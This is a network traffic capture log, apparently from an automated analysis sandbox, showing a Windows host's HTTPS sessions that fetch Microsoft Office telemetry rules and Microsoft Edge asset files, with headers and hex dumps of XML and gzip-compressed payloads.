2024-11-07 16:25:39 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.6	49922	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:40 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:40 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:40 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 524ac160-c01e-007a-69d2-2cb877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162540Z-16547b76f7f76p6chC1DFWctqw00000008k0000000004hg9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:40 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.6	49921	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:40 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:40 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:40 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: 182ca728-101e-00a2-2d55-2e9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162540Z-17df447cdb56j5xmhC1DFWn91800000004sg000000002tna x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:40 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.6	49924	13.107.246.45	443	7348	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:40 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.55 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-07 16:25:40 UTC	576	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:40 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Thu, 24 Oct 2024 19:29:56 GMT ETag: 0x8DCF4623DD70062 x-ms-request-id: 357ef44a-601e-005e-0172-2c9b04000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241107T162540Z-16547b76f7f9bs6dhC1DFWt3rg000000088000000000uvuq Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:40 UTC	15808	IN	Data Raw: 1f 8b 08 08 34 a0 1a 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: 4gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-07 16:25:40 UTC	16384	IN	Data Raw: c5 f3 e8 07 bb 82 71 ba da 2a 0b c7 62 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 29 8b 4d 52 3a c4 97 Data Ascii: qb,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49*-lx53Bu;hQ-]bU%+/M!eC8Y1)MR:
2024-11-07 16:25:40 UTC	16384	IN	Data Raw: c1 f4 52 a7 67 b3 99 ff bc b7 c2 8e 7c d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 f5 72 cd 6b 58 b5 9b Data Ascii: Rg\|M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|crkX
2024-11-07 16:25:40 UTC	16384	IN	Data Raw: 41 9e 48 c8 71 d7 39 94 dd f7 b6 3f 2a 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 3b 35 42 38 50 3b bc Data Ascii: AHq9?*H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`;5B8P;
2024-11-07 16:25:40 UTC	5247	IN	Data Raw: 9a 2a 83 ab 27 93 58 c5 2b d2 9c af 2b 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 cf 54 85 de 92 34 2e Data Ascii: *'X++NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDYT4.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.6	49923	13.107.246.45	443	7348	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:40 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-07 16:25:40 UTC	577	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:40 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: 6d5c7e92-401e-0049-21b4-2e5b67000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241107T162540Z-16547b76f7fp46ndhC1DFW66zg00000008a000000000sh8u Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-07 16:25:40 UTC	15807	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-11-07 16:25:40 UTC	16384	IN	Data Raw: 04 ba b8 75 26 ce 55 c2 08 bf 5c 90 e7 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 66 41 16 70 9d 0a 0c Data Ascii: u&U\h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5QafAp
2024-11-07 16:25:40 UTC	16384	IN	Data Raw: b7 2c 9c d4 28 cd 82 09 ad 54 24 d2 ae 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 90 04 54 de 86 42 2d Data Ascii: ,(T$&O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35QTB-
2024-11-07 16:25:40 UTC	16384	IN	Data Raw: 2a 42 7f 7e 14 be 1b ef d2 39 b9 d3 a0 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 2c 53 c1 71 b8 50 80 Data Ascii: B~9jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM]z_]y]DZgtc>qDX\\M,SqP
2024-11-07 16:25:40 UTC	16384	IN	Data Raw: c2 6b ad 8a 70 f5 34 6b b8 40 3f ab 6c ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 6c b7 99 fc 2e 56 9e Data Ascii: kp4k@?lk/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~Cl.V
2024-11-07 16:25:40 UTC	16384	IN	Data Raw: 1d c0 e5 f5 0e 81 86 cd d1 7b 9c 8b 16 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c bb ed 07 fa bc 5c f7 Data Ascii: {M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l\
2024-11-07 16:25:41 UTC	16384	IN	Data Raw: b4 4f 20 01 c9 6e d7 8b d6 eb 26 ee 09 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e bd 4a a1 b3 a7 63 d1 Data Ascii: O n&m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>Jc
2024-11-07 16:25:41 UTC	16384	IN	Data Raw: e6 2c b7 a9 5c 69 a3 75 af d9 ba f6 11 ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 1a ea 09 06 a9 c9 03 Data Ascii: ,\iuXdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{O
